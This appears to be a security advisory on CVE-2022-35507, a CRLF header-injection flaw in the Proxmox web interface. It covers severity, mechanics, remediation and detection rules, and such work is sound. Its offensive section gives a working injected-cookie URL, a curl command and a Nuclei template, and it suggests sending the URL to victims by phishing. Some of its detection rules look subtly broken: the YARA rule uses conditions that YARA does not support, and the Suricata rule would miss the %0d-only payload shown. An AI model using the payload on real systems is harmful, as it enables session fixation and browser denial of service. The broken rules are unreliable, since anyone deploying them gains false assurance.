CVE-2022-35507

Executive Summary

CVE-2022-35507 is a response-header CRLF injection vulnerability in the Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) web interface. This flaw allows a remote attacker to inject arbitrary response headers, including malicious cookies, into HTTP responses. The injected headers can cause a client-side Denial of Service (DoS) in Chromium-based browsers due to their handling of %0d (carriage return) characters. The vulnerability is fixed in pve-http-server version 4.1-3. The CVSS score is 7.1 (High), and a public proof-of-concept exists via a Nuclei template.

Supply Chain & Package Security

This vulnerability affects the Proxmox ecosystem, specifically the pve-http-server package. The fix is delivered through a software update to this package. Organizations using Proxmox should verify the version of pve-http-server and apply the patch immediately. The vulnerability is not related to any NPM, PyPI, Go, or Ruby packages.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H
• Base Score: 7.1 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): Required (R) - Victim must visit a crafted URL.
• Scope (S): Unchanged (U) - Impact is confined to the vulnerable component.
• Confidentiality (C): None (N) - No data disclosure.
• Integrity (I): Low (L) - Attacker can inject headers/cookies.
• Availability (A): High (H) - Client-side DoS is possible.

Threat Level: High. The vulnerability is easy to exploit (low complexity, no privileges) and can lead to client-side DoS and session fixation attacks.

Deep Dive & Mechanics

The vulnerability resides in the Proxmox web interface's handling of HTTP response headers. The server fails to properly sanitize user-controlled input that is reflected in response headers. Specifically, the server does not strip or encode CRLF (%0d%0a) characters from the input.

Attack Flow:

1. An attacker crafts a malicious URL containing CRLF sequences, such as GET /404%0dnew-header:value%0da: HTTP/1.1.
2. The Proxmox server processes this request and, due to the vulnerability, includes the injected CRLF characters in the response headers.
3. The attacker sends this URL to a victim (e.g., via a phishing link).
4. The victim's Chromium-based browser interprets the injected CRLF as header delimiters, allowing the attacker to set arbitrary cookies (e.g., new-header:value).
5. The injected headers can cause the browser to crash or behave unexpectedly, leading to a client-side DoS. Additionally, the attacker can set session cookies, enabling session fixation attacks.

Root Cause: The pve-http-server component does not validate or sanitize CRLF characters in the request path or other user-controlled inputs before including them in response headers.

Vulnerable vs. Patched Code

Vulnerable Code (pve-http-server < 4.1-3): The server likely constructs response headers by directly concatenating user input without sanitization. For example:

# Vulnerable pseudo-code
my $header = "Location: " . $request->path;
$response->header($header);

Patched Code (pve-http-server 4.1-3): The fix involves stripping or encoding CRLF characters from user input before including it in headers. For example:

# Patched pseudo-code
my $sanitized_path = $request->path;
$sanitized_path =~ s/[\r\n]//g;  # Remove CR and LF
my $header = "Location: " . $sanitized_path;
$response->header($header);

The official commit (936007ae0241811093155000486da171379c23c2) implements proper input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable Proxmox instance (pve-http-server < 4.1-3).
• A Chromium-based browser (Chrome, Edge, etc.).
• Ability to send HTTP requests to the target.

Exploitation Steps:

1. Craft the malicious URL: Use the CRLF injection to set a custom header.

   http://target:8006/404%0dSet-Cookie:malicious=value%0da:
   

2. Send the URL to a victim (e.g., via email or social engineering).
3. Observe the impact: The victim's browser will process the injected header, potentially causing a crash or setting a malicious cookie.

Example using curl:

curl -v "http://target:8006/404%0dSet-Cookie:malicious=value%0da:"

If vulnerable, the response will include the injected header.

Nuclei Template (Provided):

id: CVE-2022-35507

info:
  name: Proxmox - CRLF Injection
  author: DhiyaneshDk
  severity: high
  description: |
    A response-header CRLF injection vulnerability in the Proxmox Virtual Environment (PVE) and Proxmox Mail Gateway (PMG) web interface allows a remote attacker to set cookies for a victim's browser that are longer than the server expects, causing a client-side DoS. This affects Chromium-based browsers because they allow injection of response headers with %0d. This is fixed in pve-http-server 4.1-3.
  impact: |
    Attackers can inject response headers with CRLF characters to set malicious cookies in victims' Chromium-based browsers, causing client-side denial of service and potentially facilitating session fixation attacks on Proxmox users.
  remediation: |
    Update pve-http-server to version 4.1-3 or later that properly validates and strips CRLF characters from response headers.
  reference:
    - https://git.proxmox.com/?p=pve-http-server.git%3Ba=commitdiff%3Bh=936007ae0241811093155000486da171379c23c2
    - https://github.com/advisories/GHSA-xfgp-gpjw-wmqr
    - https://starlabs.sg/blog/2022/12-multiple-vulnerabilites-in-proxmox-ve--proxmox-mail-gateway/#bug-0x02-crlf-injection-in-response-headers
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:H
    cvss-score: 7.1
    cve-id: CVE-2022-35507
    cwe-id: CWE-74
    epss-score: 0.14332
    epss-percentile: 0.9443
    cpe: cpe:2.3:a:proxmox:proxmox_mail_gateway:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: proxmox
    product: proxmox_mail_gateway
    shodan-query: html:"Proxmox = {"
  tags: cve,cve2022,proxmox,crlf,vuln

http:
  - raw:
      - |
        GET /404%0dnew-header:value%0da: HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(all_headers, 'new-header:value')"
          - "status_code == 501"
        condition: and

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests containing %0d or %0a in the path or query string.
• Look for unusual response headers that do not conform to expected patterns.
• Use the detection rules provided below.

Mitigation:

• Immediately update pve-http-server to version 4.1-3 or later.
• Implement a Web Application Firewall (WAF) rule to block requests containing CRLF sequences.
• Educate users about phishing attacks that may exploit this vulnerability.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing %0d or %0a in the URI.
  • HTTP responses with unexpected headers (e.g., new-header:value).
• Host IOCs:
  • pve-http-server version < 4.1-3.
  • Log entries showing requests with CRLF sequences.
• File IOCs:
  • None specific.

Detection Engineering

YARA Rule

rule CVE_2022_35507_CRLF_Injection {
    meta:
        description = "Detects CRLF injection attempts in HTTP requests targeting Proxmox"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-35507"
    strings:
        $crlf1 = "%0d" ascii
        $crlf2 = "%0a" ascii
        $crlf3 = "%0D%0A" ascii
    condition:
        any of ($crlf*) and
        (http.method == "GET" or http.method == "POST") and
        http.uri contains "/404"
}

Sigma Rule

title: Proxmox CRLF Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with CRLF sequences targeting Proxmox web interface
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: proxmox
detection:
    selection:
        cs-uri-query|contains:
            - '%0d'
            - '%0a'
            - '%0D%0A'
    condition: selection
falsepositives:
    - Legitimate use of encoded characters in other contexts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-35507 Proxmox CRLF Injection Attempt"; flow:to_server; content:"%0d"; http_uri; content:"%0a"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update pve-http-server to version 4.1-3 or later. This is the definitive fix.
2. WAF Rules: Deploy WAF rules to block requests containing %0d or %0a in the URI.
3. Network Segmentation: Restrict access to the Proxmox web interface to trusted networks only.

Long-Term Measures:

• Implement input validation for all user-controlled data reflected in HTTP headers.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Division. For further inquiries, contact Secure Channels (Signal / Portal).

{/* [Security Hash: EF52FEFC20A89980094290AB] */}